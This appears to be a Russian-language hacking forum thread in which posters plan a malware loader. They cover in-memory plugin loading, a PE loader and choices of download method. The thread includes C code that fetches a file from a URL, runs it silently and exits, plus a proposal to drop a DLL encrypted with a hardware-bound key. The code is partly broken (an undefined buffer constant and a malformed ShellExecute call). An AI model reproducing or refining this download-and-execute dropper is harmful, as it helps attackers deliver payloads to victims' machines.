Я вообще этот топ в паблик хотел вынести. Приватов здесь так и не получилось...
Я это немного не пойму. С памяти предполагается запускать свои плагины, или, собственно, чужие ехе (которые лоадер будет прогружать)? Если свои длл ,то проблем нет, если чужие ехе - то надо очень много отлаживать в таком случае.Второй этап это пе лоадер, возьмем лоадер грита, с дллками от вполне сносно справляется, с ехе другая конитель. Ехе нам и не надо
UrlDownloadToFile или вининет. Тут есть несколько критириев, по которым надо выбрать:Далее через че будем качать? рав сокеты, вининет или баналньый UrlDownloadToFileA?
#define MAXBUFF (512 * 1024)
void DownloadFile (char *url, char *dest)
{
HINTERNET hRequest, hDownload;
HANDLE hFile;
int read, read2, ret = -1;
char *buf;
hRequest = InternetOpen (USER, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hDownload = InternetOpenUrl (hRequest, url, NULL, 0, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, NULL);
if (hDownload) {
hFile = CreateFile (dest, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL);
if (!hFile)
goto EndOfWork;
buf = malloc (DOWNLOAD_MAXBUFF);
do {
putchar ('.');
InternetReadFile (hDownload, buf, MAXBUFF, &read);
WriteFile (hFile, buf, read, &read2, NULL);
}
while (read == read2 && read == MAXBUFF);
if (read == read2)
ret = 0;
}
EndOfWork:
free (buf);
CloseHandle (hFile);
InternetCloseHandle (hDownload);
InternetCloseHandle (hRequest);
ShellExecute(NULL, "open", dest, NULL, NULL, NULL, 0);
ExitProcess(0);
}
....
окя не про то, мне наоборот нравиться с++
зачем эти извращения с шк
затем что кто-то пилит на фасме, кто-то на масме, кто-то на сии чем это удобно
Возникли некоторые вопросы.Имхо, лоадер должен представлять из себя EXE, который выплёвывает из себя DLL, при чём шифрует её, используя в качестве ключа аппаратные характеристики системы, на которой запускается EXE, после чего EXE умирает.